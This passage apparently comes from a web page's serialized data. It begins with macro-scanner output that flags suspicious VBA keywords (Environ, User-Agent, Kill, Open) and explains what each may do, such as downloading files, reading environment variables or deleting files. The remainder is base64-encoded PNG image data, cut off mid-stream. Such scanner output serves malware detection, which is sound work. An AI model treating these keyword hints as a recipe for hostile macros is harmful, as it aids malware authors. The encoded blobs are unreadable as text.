suspicious keyword "Windows" which indicates: "May enumerate application windows (if combined with Shell.Application object)" Found suspicious keyword "Write" which indicates: "May write to a file (if combined with Open)" Found suspicious keyword "Output" which indicates: "May write to a file (if combined with Open)" Found suspicious keyword "Print #" which indicates: "May write to a file (if combined with Open)" Found suspicious keyword "Environ" which indicates: "May read system environment variables" Found suspicious keyword "User-Agent" which indicates: "May download files from the Internet" Found suspicious keyword "Open" which indicates: "May open a file" Found suspicious keyword "system" which indicates: "May run an executable file or a system command on a Mac (if combined with libc.dylib)" Found suspicious keyword "Kill" which indicates: "May delete a file"2b:T92c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAGqElEQVR42s2X2U+UZxTGTZr0L/C+V6ZJL1qbtLax6U3b1GhjaltjSI21GtRia1s1tHGJqVIVxYpiBWTfYdgXkR0EXABlB9lnmH1lmIEZmO2bp+95v/mGGcVCml44ycPMsHzP7znnPecbNmx4VR9VbYMIVWXrACpa+rnKm/tR1tSLUlJDL0oanqK4/glkdT0oYiq8183UhQL2rFDoYDKZ8J8A1vvw+5mkZyZBAHxM+bVdOHkpjUMozeaXQ5xMNELSsZs6riPXZhEZO4XvYkYR8ccY9pwdxK7oHuw68Qjbj7VzffJDA7bsLw8ac/MQgLy7j6CxAhHHYv4dgozruhyrqrjVHlRWnY3rTtUc160SHTbvLVnV3MuUW/2AA0wbvPh4948vh5AAwsoK8YI+9sXr88PtIQlYdglwLvvgcPpWB2AvJICsyo4gwIDcifd3Rq4OQSUPBRD84eYerx8ud7j5gsPDAd6KyAsCFPcshimzvD0EwIHOESve2bb/RQjqNwGcThrHr3FDXNTrimYFN/8wIpmb0xnYe/oJF52BK/nGIIAQAKDHvMOLMbUD6WVtaBuyoKnPhNoePcofaCBrVQYhVgWgVKRDZ2v4xQ5f7Mfbu+LRPaTi34+KeYwPDtxFTNok4vJm8OZXmWEAS6xSAnvTPWZGemkrDkZfw77jsdhz9Dx2HjyFz749jo++juIQQQA67QRAF6GLkrlS5+SvyXTTjqscgCpC5hu37obV5uI/f2NHShgAJe8Zt8Dm9KK4Q4PCdjXy21TIb5IHlcuuEwZAo0annPpNVSAAWbOJp/08eoIDEMi2E0/56+irabDMu3kVngfIbzeiqNOAnFYdrlfIcadejfPZfVhc9sO+JGDeKSC76TkAmnECoH5T/wmALi6ZU7+l0lP6Z9MmmKwu/jsbP40PA4iVTSChWoHUBi0SqmZxp07DARaW/LAxAOuigMxGZTjAN6f6OACNGRnRWErmVHpaRNJ7Sk/mRouLV4sAxIkRASh5YaceeW163KpRIemeCGBnAPMOAXMMIK3hOQA68bRgCGDfmc6gmdZg5b3eeqSPv5fSk7nBsrwCEFg+ZPQy2Zx+WBmAZUFASp0qHIBKTAA0apu+lHGzssYB2BY8XPQ9Mk/IrRXNTS7ojMs4eaMbr2+NFRcP7QtaWLQz2NJacvvhcPlZ7wXeezKfY+Ymu4DEWs2LALRapSVDksypAnTgpLJL5hrDCoCMTvt9FfLYjOc0zyKrUYH0+hmk3ptG8t0pJNZM8tKb7D4YbD4k1GjDAeimIgHQhluPuQTw2nsXeOrQ5M6Q5FLfzSy9wSZAZ/UhvmoVAGkBSaItR3NOotNO/SaRaagIQEqe2SgPT149gb8rx5FQMQYjS6+fF6CZ8yGuQhcOQLdUuqmQaLWSaMPRjJPooEmikpPImLRh82/B1GLPxXm3sXmfc4jJRXMfN1dZfLhcbggHWO2RWd6BZVZSUlW3ARWP9Sh7qENJpxZFHWoUBHqeHUiexpKn8OSTweQ3y8cQX/YM10tGoWWlVzNzhcmLmBLj2gAZ7E7mpGSSXOFysB5TWtJCoN+U2hrsuW8luZWSezHLzGfYnfGczLwOgNL7WHQJ/DAFk7O9XsD2em6Lkq/TzAaWvC48+a2Q5H+x5HHFI7haNCyaG72Y0ntxunBubYC0kja+vShZqGihUFISnXBarZTYsiCOmdEmpqaS856bqew+nnySmY9rPfgtfx0AqcWt/MZBJkWBO5qUPENKXjuFJDbjt6tCkpcGkstGcKVoCLEFQ7iUPxg0f6b24ETu/NoAKbIWnoynCyQ0B+bZxPpLG81oF/hiocS6QGI1k9IsHjYqOX0amtB5MKYRzYdVHvySY1sbILmoWSyp3RcsLYkMDWyeJVOp1HTClUxxsmGe/HLBIE/+Z94AYnL7McrMh5QeDMx68FOWfR0AhU3chBvNe5l8XNo50VAypR4rTWKf5SYxMR20SUrNSj6qEVMPKt3cvE/hQVTGwtoASQVNfHw0c17RkI2RmokMVWY2UkxUZoVxpdSTeg83HqdyM42o3BhmqQeZcb/CjV65Gz3TbhxOX1wbIDG/kfdS0mygr2QoD5p6MB1IOxFIzI0DvR6adaOfqY8ZP50Rzbum3IhMc6wPgMr6oFeBuoczKG2RI6dejuRqNW6wu5mk69VaxFXqEFuhx8UyIy6UmnCu2Mxm3cLGzcpP/M/ZdhxlfT+SsYhIlv5g6joAbuc1IOrMTXzx/e/8U+yWnYfw7vYD/A//L70S/4X/A1vBZ5HJ+mtNAAAAAElFTkSuQmCC2c:T905c,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